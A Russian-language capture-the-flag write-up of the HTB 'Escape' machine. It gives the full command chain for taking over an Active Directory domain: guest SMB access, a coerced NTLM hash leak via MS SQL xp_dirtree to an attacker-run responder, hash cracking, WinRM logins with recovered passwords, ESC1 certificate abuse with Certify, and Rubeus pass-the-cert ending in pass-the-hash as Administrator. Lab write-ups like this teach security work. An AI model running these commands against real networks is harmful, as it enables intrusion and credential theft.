Хакер - HTB Escape. Эксплуатируем типичные уязвимости Active Directory
hacker_frei
RalfHacker
Содержание статьи
- Разведка
- Сканирование портов
- Точка входа
- Точка опоры
- Продвижение
- Локальное повышение привилегий
В этом райтапе я на примерах покажу, как применять простейшие техники для захвата домена: анонимный логин на SMB-ресурсе, эксфильтрацию NTLM-хеша из MS SQL и повышение привилегий ESC1 через службу сертификации Active Directory.
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:
10.10.11.202 escape.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

В результатах сканирования видим множество открытых портов, что типично для серверов Windows:
- 53 — служба DNS;
- 135 — служба удаленного вызова процедур (Microsoft RPC). Используется для операций взаимодействия контроллер — контроллер и контроллер — клиент;
- 139 — служба сеансов NetBIOS, NetLogon;
- 389 — служба LDAP;
- 445 — служба SMB;
- 464 — служба смены пароля Kerberos;
- 593 (HTTP-RPC-EPMAP) — используется в службах DCOM и MS Exchange;
- 636 — LDAP с шифрованием SSL или TLS;
- 5985 — служба удаленного управления WinRM;
- 9389 — веб‑службы AD DS.
RDP и LDAP раскрывают нам имя домена и компьютера. Добавим их в /etc/hosts.
10.10.11.202 escape.htb sequel.htb dc.sequel.htb
ТОЧКА ВХОДА
Первым делом пробуем авторизацию от имени гостя на разных службах, начиная с SMB. Для тестирования SMB лучше всего использовать программу CrackMapExec, для которой уже успели написать множество дополнительных модулей.
cme smb 10.10.11.202 -u 'guest' -p '' --shares

Каталог Public — нестандартный, поэтому нас интересует его содержимое. Для работы с SMB-ресурсом будем использовать скрипт impacket-smbclient из набора скриптов impacket.
impacket-smbclient 'guest@10.10.11.202'
use Public

Ресурс содержит документ PDF, который можно скачать такой командой:
get SQL Server Procedures.pdf
Файл будет сохранен в текущем каталоге. Просматриваем файл и находим учетные данные для подключения к службе MS SQL.

ТОЧКА ОПОРЫ
В списке открытых портов отсутствует порт 1433, на котором по умолчанию работает служба MS SQL Server, но, несмотря на это, все равно попробуем подключиться к службе с помощью скрипта impacket-mssqlclient, тоже из impacket.
impacket-mssqlclient WORKGROUP/PublicUser:GuestUserCantWrite1@10.10.11.202
Подключиться к службе удалось, поэтому пробуем увести хеш пароля пользователя, от имени которого и работает служба. Запускаем на локальном хосте утилиту responder, которая поможет нам получить хеш.
sudo responder -I tun0 -v
А теперь обращаемся к ресурсу из SQL с помощью команды xp_dirtree.
xp_dirtree '\\10.10.14.125\test'


Получаем NetNTLMv2-хеш пароля пользователя sql_svc. Этот тип хеша перебирается очень быстро. Брутить будем при помощи hashcat, указав режим перебора 5600.
hashcat -m 5600 -a 0 hashes.txt rockyou.txt

Полученный пароль проверяем с помощью CrackMapExec. Пробуем авторизоваться для использования службы WinRM.
cme winrm 10.10.11.202 -u 'sql_svc' -p 'REGGIE1234ronnie'

А теперь подключаемся к службе WinRM с помощью утилиты evil-winrm.
evil-winrm -i 10.10.11.202 -u sql_svc -p REGGIE1234ronnie

ПРОДВИЖЕНИЕ
Теперь нам необходимо собрать информацию. Обычно я использую для этого скрипты PEASS, и если в Linux альтернатив им не существует, то для Windows есть еще SharpUp и Seatbelt. Второй помог найти сервер службы сертификации Active Directory (ADCS) — sequal-DC-CA.
.\Seatbelt.exe -group=system

Также на диске C: находим каталог SQLServer, а в нем — логи службы.

В самом логе есть сообщения об ошибке авторизации пользователя Ryan.Cooper, а также пользователя NuclearMosquito3. Второе имя пользователя похоже на введенный по ошибке пароль. Распространенная ошибка, которой мы сможем воспользоваться.

Проверим, входит ли найденный пользователь в группу Remote Management Users. Членство в ней дает пользователям право авторизации на службе WinRM.
net localgroup "Remote Management Users"

Так мы можем залогиниться на WinRM, что дает нам интерактивную сессию пользователя.
evil-winrm -i 10.10.11.202 -u 'Ryan.Cooper' -p 'NuclearMosquito3'

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Теперь вернемся к службе сертификации Active Directory, которая часто может помочь захватить целый домен. В основном способы эксплуатации ADCS завязаны на неправильно сконфигурированные шаблоны сертификатов, а также на права доступа к этим шаблонам и самой службе.
Получить информацию о службе сертификации позволяет программа Certify. Запускаем ее с командой find.
.\Certify.exe find /vulnerable

Certify нашла «уязвимый шаблон сертификата» и оказалась права. Каждая техника имеет свою маркировку, и в данном случае мы можем использовать технику ESC1. Этому способствует выполнение следующих требований:
- У шаблона сертификата в свойстве
msPKI-Certificate-Name-Flagустановлен флагENROLLEE_SUPPLIES_SUBJECT, в результате чего запрашивающий может сам установить атрибут SAN (subjectAltName). - Сертификат можно использовать для аутентификации клиента (
client authentication). - Текущий пользователь имеет права для регистрации сертификата без утверждения менеджера ADCS.
Таким образом, эта техника основана на возможности изменения SAN сертификата и позволяет выпустить сертификат для любого пользователя домена, включая администратора домена! Это тоже можно сделать с помощью Certify.
.\Certify.exe request /ca:dc.sequel.htb\sequel-DC-CA /template:UserAuthentication /altname:Administrator

И мы получаем сертификат и приватный ключ, который можно использовать для аутентификации пользователя в домене. Но сначала нужно перевести сертификат из формата PEM в формат PFX.
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
А теперь с помощью еще одного незаменимого инструмента — Rubeus — проведем атаку pass the cert для аутентификации в домене и получения тикета пользователя Administrator. Затем выполним атаку UnPAC the hash, чтобы получить тикет пользователя и NTLM-хеш его пароля. Rubeus позволяет сделать все это одной командой.
.\Rubeus.exe asktgt /user:Administrator /certificate:cert.pfx /password:123 /getcredentials

А теперь с помощью pass the hash подключаемся к службе WinRM и забираем флаг рута.
evil-winrm -i 10.10.11.202 -u 'Administrator' -H 'A52F78E4C751E5F5E17E1E9F3E58F4EE'

Машина захвачена!
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei